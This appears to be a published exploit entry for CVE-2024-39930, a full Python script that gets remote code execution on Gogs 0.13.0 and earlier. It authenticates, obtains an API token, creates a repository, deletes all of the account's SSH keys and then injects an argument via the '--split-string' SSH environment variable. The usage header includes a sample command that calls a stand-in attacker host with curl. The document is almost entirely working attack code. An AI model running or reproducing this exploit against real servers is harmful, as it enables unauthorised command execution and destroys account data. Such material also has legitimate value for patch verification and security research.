gogs 0.13.0 – Remote Code Execution (RCE)
# Exploit Title: gogs 0.13.0 - Remote Code Execution (RCE) # Date: 27th June, 2025 # Exploit Author: Ardayfio Samuel Nii Aryee # Software link: https://github.com/gogs/gogs.git # Version: gogs <=0.13.0 # Tested on: Ubuntu # CVE: CVE-2024-39930 # =============================== # Example Usage: # python3 exploit.py http://gogs.local:3000 alice:password123 ~/.ssh/id_rsa ~/.ssh/id_rsa.pub "touch /tmp/pwned" # python3 exploit.py http://gogs.local:3000 alice:password123 ~/.ssh/id_rsa ~/.ssh/id_rsa.pub "curl http://atacker.com" --ssh-port 2222 # =============================== import requests import paramiko import base64 import random import string import sys import argparse from urllib.parse import urlparse API_BASE_URL = "" def generate_random_string(length=8, charset=None): if charset is None: charset = string.ascii_letters + string.digits return ''.join(random.choices(charset, k=length)) def make_headers(token=None, basic_auth=None): headers = {"Content-Type": "application/json"} if token: headers["Authorization"] = f"token {token}" elif basic_auth: b64 = base64.b64encode(basic_auth.encode()).decode() headers["Authorization"] = f"Basic {b64}" return headers def http_post(path, json=None, headers=None): url = f"{API_BASE_URL}{path}" response = requests.post(url, json=json, headers=headers) response.raise_for_status() return response def http_get(path, headers=None): url = f"{API_BASE_URL}{path}" response = requests.get(url, headers=headers) response.raise_for_status() return response def http_delete(path, headers=None): url = f"{API_BASE_URL}{path}" response = requests.delete(url, headers=headers) response.raise_for_status() return response def obtain_api_token(username, password): auth = f"{username}:{password}" headers = make_headers(basic_auth=auth) data = {"name": generate_random_string()} try: response = http_post(f"/users/{username}/tokens", json=data, headers=headers) token = response.json()['sha1'] print(f"[+] API Token Acquired: {token}") return token except Exception as e: print(f"[!] Failed to obtain API token: {e}") sys.exit(1) def create_repo(token): repo_name = generate_random_string() headers = make_headers(token=token) data = { "name": repo_name, "description": "Auto-created repository", "private": False } try: response = http_post("/user/repos", json=data, headers=headers) full_name = response.json()['full_name'] print(f"[+] Repository Created: {full_name}") return full_name except Exception as e: print(f"[!] Failed to create repository: {e}") sys.exit(1) def delete_existing_ssh_keys(token): headers = make_headers(token=token) try: response = http_get("/user/keys", headers=headers) keys = response.json() for key in keys: key_id = key['id'] http_delete(f"/user/keys/{key_id}", headers=headers) print(f"[+] Deleted SSH Key ID: {key_id}") except Exception as e: print(f"[!] Failed to delete existing SSH keys: {e}") sys.exit(1) def add_ssh_key(public_key_path, token): delete_existing_ssh_keys(token) try: with open(public_key_path, 'r') as f: key = f.read() except Exception as e: print(f"[!] Failed to read public key file: {e}") sys.exit(1) headers = make_headers(token=token) data = { "title": generate_random_string(), "key": key } try: response = http_post("/user/keys", json=data, headers=headers) print(f"[+] SSH Key Added: {response.status_code}") except Exception as e: print(f"[!] Failed to add SSH key: {e}") sys.exit(1) def exploit(ssh_user, ssh_host, ssh_port, private_key_path, repo_path, command): try: key = paramiko.RSAKey.from_private_key_file(private_key_path) except Exception as e: print(f"[!] Failed to load SSH key: {e}") sys.exit(1) try: client = paramiko.SSHClient() client.set_missing_host_key_policy(paramiko.AutoAddPolicy()) client.connect(hostname=ssh_host, port=int(ssh_port), username=ssh_user, pkey=key) session = client.get_transport().open_session() print("[+] Executing command...... ") session.set_environment_variable("--split-string", command) session.exec_command(f"git-upload-pack {repo_path}") stdout = session.makefile('rb', 1024) stderr = session.makefile_stderr('rb', 1024) print("STDERR:", stderr.read().decode()) print("STDOUT:", stdout.read().decode()) session.close() client.close() except Exception as e: print(f"[!] Error: {e}") sys.exit(1) def main(): global API_BASE_URL parser = argparse.ArgumentParser(description="Exploit Gogs SSH argument injection (CVE-2024-39930)") parser.add_argument("url", help="Gogs application URL (e.g., http://skillforge.lab:3000)") parser.add_argument("auth", help="Gogs credentials in the format username:password") parser.add_argument("private_key", help="Path to private SSH key") parser.add_argument("public_key", help="Path to public SSH key") parser.add_argument("command", help="Command to execute remotely") parser.add_argument("--ssh-port", type=int, default=None, help="Optional: custom SSH port to use") args = parser.parse_args() parsed_url = urlparse(args.url) API_BASE_URL = f"{parsed_url.scheme}://{parsed_url.netloc}/api/v1" ssh_host = parsed_url.hostname ssh_port = args.ssh_port if args.ssh_port else (parsed_url.port or 22) try: username, password = args.auth.split(":") except ValueError: print("[!] Invalid format for auth argument") sys.exit(1) token = obtain_api_token(username, password) repo_path = create_repo(token) add_ssh_key(args.public_key, token) exploit( ssh_user=username, ssh_host=ssh_host, ssh_port=ssh_port, private_key_path=args.private_key, repo_path=repo_path, command=args.command ) if __name__ == "__main__": main() |